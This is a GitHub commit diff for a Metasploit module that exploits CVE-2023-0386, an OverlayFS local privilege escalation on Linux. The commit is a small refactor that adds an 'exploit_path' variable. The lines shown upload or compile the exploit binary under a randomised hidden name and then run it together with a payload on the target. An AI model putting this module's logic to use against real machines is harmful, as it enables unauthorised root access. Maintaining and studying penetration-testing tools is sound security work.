Skip to content

Commit 9e832eb

Browse files
committed
Use exploit_path variable
1 parent fd7321d commit 9e832eb

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -111,16 +111,17 @@ def exploit
111111

112112
# Upload exploit executable
113113
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
114+
exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
114115

115116
mkdir(exploit_dir)
116117
register_dir_for_cleanup(exploit_dir)
117118

118119
if live_compile?
119120
vprint_status('Live compiling exploit on system...')
120-
upload_and_compile("#{exploit_dir}/cve-2023-0386", strip_comments(exploit_source('CVE-2023-0386', 'exploit.c')), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
121+
upload_and_compile("#{exploit_path}", strip_comments(exploit_source('CVE-2023-0386', 'exploit.c')), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
121122
else
122123
vprint_status('Dropping pre-compiled exploit on system...')
123-
upload_and_chmodx("#{exploit_dir}/cve-2023-0386", exploit_data('CVE-2023-0386', 'cve-2023-0386'))
124+
upload_and_chmodx("#{exploit_path}", exploit_data('CVE-2023-0386', 'cve-2023-0386'))
124125
end
125126

126127
# Upload payload executable
@@ -131,7 +132,7 @@ def exploit
131132

132133
# Launch exploit
133134
print_status('Launching exploit...')
134-
cmd_string = "#{exploit_dir}/cve-2023-0386 #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
135+
cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
135136
vprint_status("Running: #{cmd_string}")
136137
begin
137138
output = cmd_exec(cmd_string, nil, datastore['TIMEOUT'])

0 commit comments

Comments
 (0)